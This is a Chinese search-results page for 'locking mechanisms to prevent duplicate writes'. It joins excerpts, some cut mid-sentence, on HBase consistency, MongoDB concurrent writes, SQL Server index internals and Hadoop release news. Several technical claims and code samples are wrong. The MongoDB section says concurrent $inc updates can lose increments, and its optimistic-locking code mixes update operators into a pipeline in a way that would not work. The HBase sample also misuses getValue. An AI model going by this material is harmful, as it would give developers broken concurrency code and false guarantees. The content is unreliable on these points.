[锁定机制防止重复写入的实践]的搜索结果

...保证事务一致性的一种机制。通俗点讲，对于每一条存放在HBase里的数据记录，它都会贴心地保存多个版本，每个版本都有一个独一无二的“身份证”——版本标识符。当进行读操作时，HBase会根据时间戳选择最接近当前时间的版本进行返回。这种方式既避免了读写冲突，又确保了读操作的实时性。 2. 时间戳 在HBase中，所有操作都依赖于时间戳。每次你进行写操作时，我们都会给它贴上一个崭新的时间标签。就像给信封盖邮戳一样，保证它的新鲜度。而当你进行读操作时，好比你在查收邮件，可以自由指定一个时间范围，去查找那个时间段内的信息内容。这样子，我们就可以通过对比时间戳，轻松找出哪个版本是最新的，就像侦探破案一样精准，这样一来，数据的一致性就妥妥地得到了保障。 3. 避免重复写入 为了防止因网络延迟等原因导致的数据不一致，HBase采用了锁定机制。每当你在HBase里写入一条新的记录，它就像个尽职的保安员，会立刻给这条记录上一把锁，死死守着不让别人动，直到你决定提交或者撤销这次操作。这种方式可以有效地避免重复写入，确保数据的一致性。 四、HBase的数据一致性示例 下面，我们通过一段简单的代码来展示HBase是如何保证数据一致性的。 java // 创建一个HBase客户端 HTable table = new HTable(conf, "test"); // 插入一条记录 Put put = new Put("row".getBytes()); put.add(Bytes.toBytes("column"), Bytes.toBytes("value")); table.put(put); // 读取这条记录 Get get = new Get("row".getBytes()); Result result = table.get(get); System.out.println(result.getValue(Bytes.toBytes("column"), Bytes.toBytes("value"))); 在这段代码中，我们首先创建了一个HBase客户端，并插入了一条记录。然后，我们读取了这条记录，并打印出它的值。由于HBase采用了MVCC和时间戳，所以每次读取到的都是最新的数据。 五、结论 总的来说，HBase通过采用MVCC、时间戳以及锁定等机制，成功地保证了数据的一致性。虽然这些机制可能会让咱们稍微多花点成本，不过在应对那种人山人海、数据海量的场面时，这点付出绝对是物有所值，完全可以接受的。因此，我们可以放心地使用HBase来处理大数据问题。

在多用户写入场景下MongoDB的并发控制与数据一致性问题探讨 1. 引言 并发挑战下的MongoDB 在现代分布式系统中，MongoDB作为一款高性能、易扩展的NoSQL数据库，深受开发者喜爱。然而，在面对很多用户同时往数据库里写入数据，就像高峰期的大卖场收银台前挤满人抢着结账那样，我们可能会遇到一个令人头疼的难题——这叫做“写竞争条件”，就像是大家伙儿都争着往同一个记账本上记录交易信息，一不留神就会手忙脚乱，甚至出现混乱的情况。这就像一场球赛，大家伙儿一块儿上场乱踢，却没有个裁判来主持公正。想象一下，好几个用户同时对一份数据动手脚，那这份数据很可能就乱套了，变得前后矛盾、乱七八糟的。这样一来，不仅会让应用运行起来卡壳不顺畅，还会让用户体验大打折扣，感觉像是在泥潭里找路走，让人头疼得很呐！今天，我们就来深入讨论这个问题，并通过实例代码展示如何在MongoDB中妥善处理这种状况。 2. 写竞争条件 何为数据不一致性？ 假设我们有一个用户账户表，两个用户几乎同时尝试给同一个账户充值。在没有恰当并发控制的情况下，可能出现的情况是： javascript // 用户A尝试充值10元 db.users.updateOne( { _id: 'user1' }, { $inc: { balance: 10 } } ); // 同一时刻，用户B尝试充值20元 db.users.updateOne( { _id: 'user1' }, { $inc: { balance: 20 } } ); 如果这两个操作恰好在数据库层面交错执行，理论上用户的余额应增加30元，但实际上可能只增加了20元或10元，这就产生了数据不一致性。 3. MongoDB的并发控制机制 乐观锁与悲观锁 乐观锁（Optimistic Locking）： MongoDB并没有内置的乐观锁机制，但我们可以利用文档版本戳（_v字段）模拟实现。每次更新前先读取文档的版本，更新时设置$currentDate以确保版本已更新，如果版本不符则更新失败。 javascript var user = db.users.find({ _id: 'user1' }).next(); var currentVersion = user._v; db.users.updateOne( { _id: 'user1', _v: currentVersion }, [ { $inc: { balance: 10 } }, { $currentDate: { _v: true } } ], { upsert: false, multi: false } ); 悲观锁（Pessimistic Locking）： MongoDB提供了findAndModify命令（现已被findOneAndUpdate替代），它可以原子性地查找并更新文档，相当于对文档进行了锁定，防止并发写入冲突。 javascript db.users.findOneAndUpdate( { _id: 'user1' }, { $inc: { balance: 10 } }, { upsert: false, returnOriginal: false } ); 4. 集群环境下的并发控制 WiredTiger存储引擎 在MongoDB集群环境下，WiredTiger存储引擎实现了行级锁，对于并发写入有着很好的支持。每当你进行写操作的时候，系统都会把它安排到特定的小区域——我们叫它“数据段”。想象一下，这些数据段就像一个个小隔间，同一隔间里的写操作会排好队，一个接一个地有序进行，而不是一拥而上。这样一来，就不用担心几个写操作同时进行会让数据变得乱七八糟、不一致了，就像大家排队领饭，就不会出现你夹的菜跑到我碗里，我夹的肉又飞到他碗里的混乱情况啦。 5. 总结与思考 处理MongoDB中的并发写入问题，需要根据具体的应用场景选择合适的并发控制策略。无论是利用版本戳模拟乐观锁，还是借助于findAndModify实现悲观锁，抑或是依赖于WiredTiger存储引擎的行级锁，我们的目标始终是为了保证数据的一致性和完整性，提升用户体验。 对于开发者而言，理解并掌握这些策略并非一日之功，而是要在实践中不断摸索和优化。你知道吗，就像做一顿色香味俱全的大餐那样，构建一个稳定靠谱的分布式系统也得讲究门道。首先得精挑细选“食材”，也就是各种组件和技术；然后，就跟掌握火候一样，得精准地调控系统的各个环节。只有这样，才能确保每位“尝鲜者”都能吃得心满意足，开开心心地离开。

...间，当字段的值从内存写入磁盘时，就在这一既定空间随机保存，当一个8K用完的时候，SQLS指针会自动分配一个8K的空间。这里，每个8K空间被称为一个数据页（Page），又名页面或数据页面，并分配从0-7的页号,每个文件的第0页记录引导信息，叫文件头（File header）；每8个数据页（64Ｋ）的组合形成扩展区（Extent），称为扩展。全部数据页的组合形成堆（Heap）。 SQLS规定行不能跨越数据页，所以，每行记录的最大数据量只能为8K。这就是char和varchar这两种字符串类型容量要限制在8K以内的原因，存储超过8K的数据应使用text类型，实际上，text类型的字段值不能直接录入和保存，它只是存储一个指针，指向由若干8K的文本数据页所组成的扩展区，真正的数据正是放在这些数据页中。 页面有空间页面和数据页面之分。 当一个扩展区的8个数据页中既包含了空间页面又包括了数据或索引页面时，称为混合扩展（Mixed Extent）,每张表都以混合扩展开始；反之，称为一致扩展（Uniform Extent），专门保存数据及索引信息。 表被创建之时，SQLS在混合扩展中为其分配至少一个数据页面，随着数据量的增长，SQLS可即时在混合扩展中分配出7个页面，当数据超过8个页面时，则从一致扩展中分配数据页面。 空间页面专门负责数据空间的分配和管理，包括：PFS页面（Page free space）：记录一个页面是否已分配、位于混合扩展还是一致扩展以及页面上还有多少可用空间等信息；GAM页面（Global allocation map）和SGAM页面(Secodary global allocation map)：用来记录空闲的扩展或含有空闲页面的混合扩展的位置。SQLS综合利用这三种类型的页面文件在必要时为数据表创建新空间； 数据页或索引页则专门保存数据及索引信息，SQLS使用4种类型的数据页面来管理表或索引：它们是IAM页、数据页、文本/图像页和索引页。 在WINDOWS中，我们对文件执行的每一步操作，在磁盘上的物理位置只有系统（system）才知道；SQL SERVER沿袭了这种工作方式，在插入数据的过程中，不但每个字段值在数据页面中的保存位置是随机的，而且每个数据页面在“堆”中的排列位置也只有系统（system）才知道。 这是为什么呢？众所周知，OS之所以能管理DISK，是因为在系统启动时首先加载了文件分配表：FAT（File Allocation Table），正是由它管理文件系统并记录对文件的一切操作，系统才得以正常运行；同理，作为管理系统级的SQL SERVER,也有这样一张类似FAT的表存在，它就是索引分布映像页：IAM（Index Allocation Map）。 IAM的存在，使SQLS对数据表的物理管理有了可能。 IAM页从混合扩展中分配，记录了8个初始页面的位置和该扩展区的位置，每个IAM页面能管理512,000个数据页面，如果数据量太大，SQLS也可以增加更多的IAM页，可以位于文件的任何位置。第一个IAM页被称为FirstIAM,其中记录了以后的IAM页的位置。 数据页和文本/图像页互反，前者保存非文本/图像类型的数据，因为它们都不超过8K的容量，后者则只保存超过8K容量的文本或图像类型数据。而索引页顾名思义，保存的是与索引结构相关的数据信息。了解页面的问题有助我们下一步准确理解SQLS维护索引的方式，如页拆分、填充因子等。 二、索引的基本概念 索引是一种特殊类型的数据库对象，它与表有着密切的联系。 索引是为检索而存在的。如一些书籍的末尾就专门附有索引，指明了某个关键字在正文中的出现的页码位置，方便我们查找，但大多数的书籍只有目录，目录不是索引，只是书中内容的排序，并不提供真正的检索功能。可见建立索引要单独占用空间；索引也并不是必须要建立的，它们只是为更好、更快的检索和定位关键字而存在。 再进一步说，我们要在图书馆中查阅图书，该怎么办呢？图书馆的前台有很多叫做索引卡片柜的小柜子，里面分了若干的类别供我们检索图书，比如你可以用书名的笔画顺序或者拼音顺序作为查找的依据，你还可以从作者名的笔画顺序或拼音顺序去查询想要的图书，反正有许多检索方式，但有一点很明白，书库中的书并没有按照这些卡片柜中的顺序排列——虽然理论上可以这样做，事实上，所有图书的脊背上都人工的粘贴了一个特定的编号①，它们是以这个顺序在排列。索引卡片中并没有指明这本书摆放在书库中的第几个书架的第几本，仅仅指明了这个特定的编号。管理员则根据这一编号将请求的图书返回到读者手中。这是很形象的例子，以下的讲解将会反复用到它。 SQLS在安装完成之后，安装程序会自动创建master、model、tempdb等几个特殊的系统数据库，其中master是SQLS的主数据库，用于保存和管理其它系统数据库、用户数据库以及SQLS的系统信息，它在SQLS中的地位与WINDOWS下的注册表相当。 master中有一个名为sysindexes的系统表，专门管理索引。SQLS查询数据表的操作都必须用到它，毫无疑义，它是本文主角之一。 查看一张表的索引属性，可以在查询分析器中使用以下命令：select from sysindexes where id=object_id(‘tablename’) ；而要查看表的索引所占空间的大小，可以使用系统存储过程命令：sp_spaceused tablename，其中参数tablename为被索引的表名。 三、平衡树 如果你通过书后的索引知道了一个关键字所在的页码，你有可能通过随机的翻寻，最终到达正确的页码。但更科学更快捷的方法是：首先把书翻到大概二分之一的位置，如果要找的页码比该页的页码小，就把书向前翻到四分之一处，否则，就把书向后翻到四分之三的地方，依此类推，把书页续分成更小的部分，直至正确的页码。这叫“两分法”，微软在官方教程MOC里另有一种说法：叫B树（B-Tree，Balance Tree），即平衡树。 一个表索引由若干页面组成，这些页面构成了一个树形结构。B树由“根”（root）开始，称为根级节点，它通过指向另外两个页，把一个表的记录从逻辑上分成两个部分：“枝”—--非叶级节点（Non-Leaf Level）；而非叶级节点又分别指向更小的部分：“叶”——叶级节点（Leaf Level）。根节点、非叶级节点和叶级节点都位于索引页中，统称为索引节点，属于索引页的范筹。这些“枝”、“叶”最终指向了具体的数据页（Page）。在根级节点和叶级节点之间的叶又叫数据中间页。 “根”（root）对应了sysindexes表的Root字段，其中记载了非叶级节点的物理位置（即指针）；非叶级节点位于根节点和叶节点之间，记载了指向叶级节点的指针；而叶级节点则最终指向数据页。这就是“平衡树”。 四、聚集索引和非聚集索引 从形式上而言，索引分为聚集索引（Clustered Indexes）和非聚集索引（NonClustered Indexes）。 聚集索引相当于书籍脊背上那个特定的编号。如果对一张表建立了聚集索引，其索引页中就包含着建立索引的列的值（下称索引键值），那么表中的记录将按照该索引键值进行排序。比如，我们如果在“姓名”这一字段上建立了聚集索引，则表中的记录将按照姓名进行排列；如果建立了聚集索引的列是数值类型的，那么记录将按照该键值的数值大小来进行排列。 非聚集索引用于指定数据的逻辑顺序，也就是说，表中的数据并没有按照索引键值指定的顺序排列，而仍然按照插入记录时的顺序存放。其索引页中包含着索引键值和它所指向该行记录在数据页中的物理位置，叫做行定位符（RID：Row ID）。好似书后面的的索引表，索引表中的顺序与实际的页码顺序也是不一致的。而且一本书也许有多个索引。比如主题索引和作者索引。 SQL Server在默认的情况下建立的索引是非聚集索引，由于非聚集索引不对表中的数据进行重组，而只是存储索引键值并用一个指针指向数据所在的页面。一个表如果没有聚集索引时,理论上可以建立249个非聚集索引。每个非聚集索引提供访问数据的不同排序顺序。 五、数据是怎样被访问的 若能真正理解了以上索引的基础知识，那么再回头来看索引的工作原理就简单和轻松多了。 （一）SQLS怎样访问没有建立任何索引数据表： Heap译成汉语叫做“堆”，其本义暗含杂乱无章、无序的意思，前面提到数据值被写进数据页时，由于每一行记录之间并没地有特定的排列顺序，所以行与行的顺序就是随机无序的，当然表中的数据页也就是无序的了，而表中所有数据页就形成了“堆”，可以说，一张没有索引的数据表，就像一个只有书柜而没有索引卡片柜的图书馆，书库里面塞满了一堆乱七八糟的图书。当读者对管理员提交查询请求后，管理员就一头钻进书库，对照查找内容从头开始一架一柜的逐本查找，运气好的话，在第一个书架的第一本书就找到了，运气不好的话，要到最后一个书架的最后一本书才找到。 SQLS在接到查询请求的时候，首先会分析sysindexes表中一个叫做索引标志符(INDID: Index ID)的字段的值，如果该值为0，表示这是一张数据表而不是索引表，SQLS就会使用sysindexes表的另一个字段——也就是在前面提到过的FirstIAM值中找到该表的IAM页链——也就是所有数据页集合。 这就是对一个没有建立索引的数据表进行数据查找的方式，是不是很没效率？对于没有索引的表，对于一“堆”这样的记录，SQLS也只能这样做，而且更没劲的是，即使在第一行就找到了被查询的记录，SQLS仍然要从头到尾的将表扫描一次。这种查询称为“遍历”，又叫“表扫描”。 可见没有建立索引的数据表照样可以运行，不过这种方法对于小规模的表来说没有什么太大的问题，但要查询海量的数据效率就太低了。 （二）SQLS怎样访问建立了非聚集索引的数据表： 如前所述，非聚集索引可以建多个,具有B树结构，其叶级节点不包含数据页，只包含索引行。假定一个表中只有非聚集索引，则每个索引行包含了非聚集索引键值以及行定位符（ROW ID,RID），他们指向具有该键值的数据行。每一个RID由文件ID、页编号和在页中行的编号组成。 当INDID的值在2-250之间时，意味着表中存在非聚集索引页。此时，SQLS调用ROOT字段的值指向非聚集索引B树的ROOT，在其中查找与被查询最相近的值，根据这个值找到在非叶级节点中的页号，然后顺藤摸瓜，在叶级节点相应的页面中找到该值的RID，最后根据这个RID在Heap中定位所在的页和行并返回到查询端。 例如：假定在Lastname上建立了非聚集索引，则执行Select From Member Where Lastname=’Ota’时，查询过程是：①SQLS查询INDID值为2；②立即从根出发，在非叶级节点中定位最接近Ota的值“Martin”，并查到其位于叶级页面的第61页；③仅在叶级页面的第61页的Martin下搜寻Ota的RID，其RID显示为N∶706∶4，表示Lastname字段中名为Ota的记录位于堆的第707页的第4行，N表示文件的ID值，与数据无关；④根据上述信息，SQLS立马在堆的第 707页第4行将该记录“揪”出来并显示于前台（客户端）。视表的数据量大小，整个查询过程费时从百分之几毫秒到数毫秒不等。 在谈到索引基本概念的时候，我们就提到了这种方式： 图书馆的前台有很多索引卡片柜，里面分了若干的类别，诸如按照书名笔画或拼音顺序、作者笔画或拼音顺序等等，但不同之处有二：① 索引卡片上记录了每本书摆放的具体位置——位于某柜某架的第几本——而不是“特殊编号”；② 书脊上并没有那个“特殊编号”。管理员在索引柜中查到所需图书的具体位置（RID）后，根据RID直接在书库中的具体位置将书提出来。 显然，这种查询方式效率很高，但资源占用极大，因为书库中书的位置随时在发生变化，必然要求管理员花费额外的精力和时间随时做好索引更新。 （三）SQLS怎样访问建立了聚集索引的数据表： 在聚集索引中，数据所在的数据页是叶级，索引数据所在的索引页是非叶级。 查询原理和上述对非聚集索引的查询相似，但由于记录是按照聚集索引中索引键值进行排序，换句话说，聚集索引的索引键值也就是具体的数据页。 这就好比书库中的书就是按照书名的拼音在排序，而且也只按照这一种排序方式建立相应的索引卡片，于是查询起来要比上述只建立非聚集索引的方式要简单得多。仍以上面的查询为例： 假定在Lastname字段上建立了聚集索引，则执行Select From Member Where Lastname=’Ota’时，查询过程是：①SQLS查询INDID值为1，这是在系统中只建立了聚集索引的标志；②立即从根出发，在非叶级节点中定位最接近Ota的值“Martin”，并查到其位于叶级页面的第120页；③在位于叶级页面第120页的Martin下搜寻到Ota条目，而这一条目已是数据记录本身；④将该记录返回客户端。 这一次的效率比第二种方法更高，以致于看起来更美，然而它最大的优点也恰好是它最大的缺点——由于同一张表中同时只能按照一种顺序排列，所以在任何一种数据表中的聚集索引只能建立一个；并且建立聚集索引需要至少相当于源表120%的附加空间，以存放源表的副本和索引中间页！ 难道鱼和熊掌就不能兼顾了吗？办法是有的。 （四）SQLS怎样访问既有聚集索引、又有非聚集索引的数据表： 如果我们在建立非聚集索引之前先建立了聚集索引的话，那么非聚集索引就可以使用聚集索引的关键字进行检索，就像在图书馆中，前台卡片柜中的可以有不同类别的图书索引卡，然而每张卡片上都载明了那个特殊编号——并不是书籍存放的具体位置。这样在最大程度上既照顾了数据检索的快捷性，又使索引的日常维护变得更加可行，这是最为科学的检索方法。 也就是说，在只建立了非聚集索引的情况下，每个叶级节点指明了记录的行定位符（RID）；而在既有聚集索引又有非聚集索引的情况下，每个叶级节点所指向的是该聚集索引的索引键值，即数据记录本身。 假设聚集索引建立在Lastname上，而非聚集索引建立在Firstname上，当执行Select From Member Where Firstname=’Mike’时，查询过程是：①SQLS查询INDID值为2；②立即从根出发，在Firstname的非聚集索引的非叶级节点中定位最接近Mike的值“Jose”条目；③从Jose条目下的叶级页面中查到Mike逻辑位置——不是RID而是聚集索引的指针；④根据这一指针所指示位置，直接进入位于Lastname的聚集索引中的叶级页面中到达Mike数据记录本身；⑤将该记录返回客户端。 这就完全和我们在“索引的基本概念”中讲到的现实场景完全一样了，当数据发生更新的时候，SQLS只负责对聚集索引的健值驾以维护，而不必考虑非聚集索引，只要我们在ID类的字段上建立聚集索引，而在其它经常需要查询的字段上建立非聚集索引，通过这种科学的、有针对性的在一张表上分别建立聚集索引和非聚集索引的方法，我们既享受了索引带来的灵活与快捷，又相对规避了维护索引所导致的大量的额外资源消耗。 六、索引的优点和不足 索引有一些先天不足：1：建立索引，系统要占用大约为表的1.2倍的硬盘和内存空间来保存索引。2：更新数据的时候，系统必须要有额外的时间来同时对索引进行更新，以维持数据和索引的一致性——这就如同图书馆要有专门的位置来摆放索引柜，并且每当库存图书发生变化时都需要有人将索引卡片重整以保持索引与库存的一致。 当然建立索引的优点也是显而易见的：在海量数据的情况下，如果合理的建立了索引，则会大大加强SQLS执行查询、对结果进行排序、分组的操作效率。 实践表明，不恰当的索引不但于事无补，反而会降低系统性能。因为大量的索引在进行插入、修改和删除操作时比没有索引花费更多的系统时间。比如在如下字段建立索引应该是不恰当的：1、很少或从不引用的字段；2、逻辑型的字段，如男或女(是或否)等。 综上所述，提高查询效率是以消耗一定的系统资源为代价的，索引不能盲目的建立，必须要有统筹的规划，一定要在“加快查询速度”与“降低修改速度”之间做好平衡，有得必有失，此消则彼长。这是考验一个DBA是否优秀的很重要的指标。 至此，我们一直在说SQLS在维护索引时要消耗系统资源，那么SQLS维护索引时究竟消耗了什么资源？会产生哪些问题？究竟应该才能优化字段的索引？ 在上篇中，我们就索引的基本概念和数据查询原理作了详细阐述，知道了建立索引时一定要在“加快查询速度”与“降低修改速度”之间做好平衡，有得必有失，此消则彼长。那么，SQLS维护索引时究竟怎样消耗资源？应该从哪些方面对索引进行管理与优化？以下就从七个方面来回答这些问题。 一、页分裂 微软MOC教导我们：当一个数据页达到了8K容量，如果此时发生插入或更新数据的操作，将导致页的分裂(又名页拆分)： 1、有聚集索引的情况下：聚集索引将被插入和更新的行指向特定的页，该页由聚集索引关键字决定； 2、只有堆的情况下：只要有空间就可以插入新的行，但是如果我们对行数据的更新需要更多的空间，以致大于了当前页的可用空间，行就被移到新的页中，并且在原位置留下一个转发指针，指向被移动的新行，如果具有转发指针的行又被移动了，那么原来的指针将重新指向新的位置； 3、如果堆中有非聚集索引，那么尽管插入和更新操作在堆中不会发生页分裂，但是在非聚集索引上仍然产生页分裂。 无论有无索引，大约一半的数据将保留在老页面，而另一半将放入新页面，并且新页面可能被分配到任何可用的页。所以，频繁页分裂，后果很严重，将使物理表产生大量数据碎片，导致直接造成I/O效率的急剧下降，最后，停止SQLS的运行并重建索引将是我们的唯一选择! 二、填充因子 然而在“混沌之初”，就可以在一定程度上避免不愉快出现：在创建索引时，可以为这个索引指定一个填充因子，以便在索引的每个叶级页面上保留一定百分比的空间，将来数据可以进行扩充和减少页分裂。填充因子是从0到100的百分比数值，设为100时表示将数据页填满。只有当不会对数据进行更改时(例如只读表中)才用此设置。值越小则数据页上的空闲空间越大，这样可以减少在索引增长过程中进行页分裂的需要，但这一操作需要占用更多的硬盘空间。 填充因子只在创建索引时执行，索引创建以后，当表中进行数据的添加、删除或更新时，是不会保持填充因子的，如果想在数据页上保持额外的空间，则有悖于使用填充因子的本意，因为随着数据的输入，SQLS必须在每个页上进行页拆分，以保持填充因子指定的空闲空间。因此，只有在表中的数据进行了较大的变动，才可以填充数据页的空闲空间。这时，可以从容的重建索引，重新指定填充因子，重新分布数据。 反之，填充因子指定不当，就会降低数据库的读取性能，其降低量与填充因子设置值成反比。例如，当填充因子的值为50时，数据库的读取性能会降低两倍！所以，只有在表中根据现有数据创建新索引，并且可以预见将来会对这些数据进行哪些更改时，设置填充因子才有意义。 三、两道数学题 假定数据库设计没有问题，那么是否象上篇中分析的那样，当你建立了众多的索引，在查询工作中SQLS就只能按照“最高指示”用索引处理每一个提交的查询呢？答案是否定的！ 上篇“数据是怎样被访问的”章节中提到的四种索引方案只是一种静态的、标准的和理论上的分析比较，实际上，将在外，军令有所不从，SQLS几乎完全是“自主”的决定是否使用索引或使用哪一个索引！ 这是怎么回事呢？ 让我们先来算一道题：如果某表的一条记录在磁盘上占用1000字节(1K)的话，我们对其中10字节的一个字段建立索引，那么该记录对应的索引大小只有10字节(0.01K)。上篇说过，SQLS的最小空间分配单元是“页（Page）”，一个页面在磁盘上占用8K空间，所以一页只能存储8条“记录”，但可以存储800条“索引”。现在我们要从一个有8000条记录的表中检索符合某个条件的记录(有Where子句)，如果没有索引的话，我们需要遍历8000条×1000字节/8K字节=1000个页面才能够找到结果。如果在检索字段上有上述索引的话，那么我们可以在8000条×10字节/8K字节=10个页面中就检索到满足条件的索引块，然后根据索引块上的指针逐一找到结果数据块，这样I/O访问量肯定要少得多。 然而有时用索引还不如不用索引快！ 同上，如果要无条件检索全部记录(不用Where子句)，不用索引的话，需要访问8000条×1000字节/8K字节=1000个页面；而使用索引的话，首先检索索引，访问8000条×10字节/8K字节=10个页面得到索引检索结果，再根据索引检索结果去对应数据页面，由于是检索全部数据，所以需要再访问8000条×1000字节/8K字节=1000个页面将全部数据读取出来，一共访问了1010个页面，这显然不如不用索引快。 SQLS内部有一套完整的数据索引优化技术，在上述情况下，SQLS会自动使用表扫描的方式检索数据而不会使用任何索引。那么SQLS是怎么知道什么时候用索引，什么时候不用索引的呢？因为SQLS除了维护数据信息外，还维护着数据统计信息！ 四、统计信息 打开企业管理器，单击“Database”节点，右击Northwind数据库→单击“属性”→选择“Options”选项卡，观察“Settings”下的各项复选项，你发现了什么？ 从Settings中我们可以看到，在数据库中，SQLS将默认的自动创建和更新统计信息，这些统计信息包括数据密度和分布信息，正是它们帮助SQLS确定最佳的查询策略：建立查询计划和是否使用索引以及使用什么样的索引。 在创建索引时，SQLS会创建分布数据页来存放有关索引的两种统计信息：分布表和密度表。查询优化器使用这些统计信息估算使用该索引进行查询的成本(Cost)，并在此基础上判断该索引对某个特定查询是否有用。 随着表中的数据发生变化，SQLS自动定期更新这些统计信息。采样是在各个数据页上随机进行。从磁盘读取一个数据页后，该数据页上的所有行都被用来更新统计信息。统计信息更新的频率取决于字段或索引中的数据量以及数据更改量。比如，对于有一万条记录的表，当1000个索引键值发生改变时，该表的统计信息便可能需要更新，因为1000 个值在该表中占了10%，这是一个很大的比例。而对于有1千万条记录的表来说，1000个索引值发生更改的意义则可以忽略不计，因此统计信息就不会自动更新。 至于它们帮助SQLS建立查询计划的具体过程，限于篇幅，这里就省略了，请有兴趣的朋友们自己研究。 顺便多说一句，SQLS除了能自动记录统计信息之外，还可以记录服务器中所发生的其它活动的详细信息，包括I/O 统计信息、CPU 统计信息、锁定请求、T-SQL 和 RPC 统计信息、索引和表扫描、警告和引发的错误、数据库对象的创建/除去、连接/断开、存储过程操作、游标操作等等。这些信息的读取、设置请朋友们在SQLS联机帮助文档(SQL Server Books Online)中搜索字符串“Profiler”查找。 五、索引的人工维护 上面讲到,某些不合适的索引将影响到SQLS的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将会影响到索引的使用。这时需要用户自己来维护索引。 随着数据行的插入、删除和数据页的分裂，有些索引页可能只包含几页数据，另外应用在执行大量I/O的时候，重建非聚聚集索引可以维护I/O的效率。重建索引实质上是重新组织B树。需要重建索引的情况有： 1) 数据和使用模式大幅度变化； 2)排序的顺序发生改变； 3)要进行大量插入操作或已经完成； 4)使用I/O查询的磁盘读次数比预料的要多； 5)由于大量数据修改，使得数据页和索引页没有充分使用而导致空间的使用超出估算； 6)dbcc检查出索引有问题。 六、索引的使用原则 接近尾声的时候，让我们再从另一个角度认识索引的两个重要属性----唯一性索引和复合性索引。 在设计表的时候，可以对字段值进行某些限制，比如可以对字段进行主键约束或唯一性约束。 主键约束是指定某个或多个字段不允许重复，用于防止表中出现两条完全相同的记录，这样的字段称为主键，每张表都可以建立并且只能建立一个主键，构成主键的字段不允许空值。例如职员表中“身份证号”字段或成绩表中“学号、课程编号”字段组合。 而唯一性约束与主键约束类似，区别只在于构成唯一性约束的字段允许出现空值。 建立在主键约束和唯一性约束上的索引，由于其字段值具有唯一性，于是我们将这种索引叫做“唯一性索引”，如果这个唯一性索引是由两个以上字段的组合建立的，那么它又叫“复合性索引”。 注意，唯一索引不是聚集索引，如果对一个字段建立了唯一索引，你仅仅不能向这个字段输入重复的值。并不妨碍你可以对其它类型的字段也建立一个唯一性索引，它们可以是聚集的，也可以是非聚集的。 唯一性索引保证在索引列中的全部数据是唯一的，不会包含冗余数据。如果表中已经有一个主键约束或者唯一性约束，那么当创建表或者修改表时，SQLS自动创建一个唯一性索引。但出于必须保证唯一性，那么应该创建主键约束或者唯一性键约束，而不是创建一个唯一性索引。当创建唯一性索引时，应该认真考虑这些规则：当在表中创建主键约束或者唯一性键约束时， SQLS钭自动创建一个唯一性索引；如果表中已经包含有数据，那么当创建索引时，SQLS检查表中已有数据的冗余性，如果发现冗余值，那么SQLS就取消该语句的执行，并且返回一个错误消息，确保表中的每一行数据都有一个唯一值。 复合索引就是一个索引创建在两个列或者多个列上。在搜索时，当两个或者多个列作为一个关键值时，最好在这些列上创建复合索引。当创建复合索引时，应该考虑这些规则：最多可以把16个列合并成一个单独的复合索引，构成复合索引的列的总长度不能超过900字节，也就是说复合列的长度不能太长；在复合索引中，所有的列必须来自同一个表中，不能跨表建立复合列；在复合索引中，列的排列顺序是非常重要的，原则上，应该首先定义最唯一的列，例如在（COL1，COL2）上的索引与在（COL2，COL1）上的索引是不相同的，因为两个索引的列的顺序不同；为了使查询优化器使用复合索引，查询语句中的WHERE子句必须参考复合索引中第一个列；当表中有多个关键列时，复合索引是非常有用的；使用复合索引可以提高查询性能，减少在一个表中所创建的索引数量。 综上所述，我们总结了如下索引使用原则： 1)逻辑主键使用唯一的成组索引，对系统键（作为存储过程）采用唯一的非成组索引，对任何外键列采用非成组索引。考虑数据库的空间有多大，表如何进行访问，还有这些访问是否主要用作读写。 2)不要索引memo/note 字段，不要索引大型字段（有很多字符），这样作会让索引占用太多的存储空间。 3)不要索引常用的小型表 4)一般不要为小型数据表设置过多的索引，假如它们经常有插入和删除操作就更别这样作了，SQLS对这些插入和删除操作提供的索引维护可能比扫描表空间消耗更多的时间。 七、大结局 查询是一个物理过程，表面上是SQLS在东跑西跑，其实真正大部分压马路的工作是由磁盘输入输出系统(I/O)完成，全表扫描需要从磁盘上读表的每一个数据页，如果有索引指向数据值，则I/O读几次磁盘就可以了。但是，在随时发生的增、删、改操作中，索引的存在会大大增加工作量，因此，合理的索引设计是建立在对各种查询的分析和预测上的，只有正确地使索引与程序结合起来,才能产生最佳的优化方案。 一般来说建立索引的思路是： (1)主键时常作为where子句的条件，应在表的主键列上建立聚聚集索引，尤其当经常用它作为连接的时候。 (2)有大量重复值且经常有范围查询和排序、分组发生的列，或者非常频繁地被访问的列，可考虑建立聚聚集索引。　　 (3)经常同时存取多列，且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询，并把查询引用最频繁的列作为前导列，如果可能尽量使关键查询形成覆盖查询。 (4)如果知道索引键的所有值都是唯一的，那么确保把索引定义成唯一索引。 (5)在一个经常做插入操作的表上建索引时，使用fillfactor(填充因子)来减少页分裂，同时提高并发度降低死锁的发生。如果在只读表上建索引，则可以把fillfactor置为100。 (6)在选择索引字段时，尽量选择那些小数据类型的字段作为索引键，以使每个索引页能够容纳尽可能多的索引键和指针，通过这种方式，可使一个查询必须遍历的索引页面降到最小。此外，尽可能地使用整数为键值，因为它能够提供比任何数据类型都快的访问速度。 SQLS是一个很复杂的系统，让索引以及查询背后的东西真相大白，可以帮助我们更为深刻的了解我们的系统。一句话，索引就象盐，少则无味多则咸。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_28052907/article/details/75194926。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...了Hadoop中数据写入重复的问题及其解决方案后，我们注意到大数据处理领域的技术进步与挑战是实时更新的。近日（以实际日期为准），Apache Hadoop 3.3.0版本发布，带来了更强大的数据管理功能和优化的MapReduce性能，旨在进一步减少数据冗余和提高计算效率。该版本引入了新的存储策略选项和改进的副本放置规则，有助于防止因分布式系统并发操作导致的数据重复问题。 此外，随着云原生技术和容器化部署的发展，Kubernetes等平台对Hadoop生态系统的支持也在不断加强。通过将Hadoop运行在Kubernetes集群上，可以利用其调度和资源管理能力来有效避免数据写入冲突，从而降低数据重复的风险。 另一方面，业界对于数据去重和一致性保障的研究也在持续深化。例如，Apache Spark通过其自带的DataFrame API提供了更为灵活高效的数据处理方式，并结合诸如RDD（弹性分布式数据集）的特性，能够在大规模并行计算中实现更为精准的数据去重。 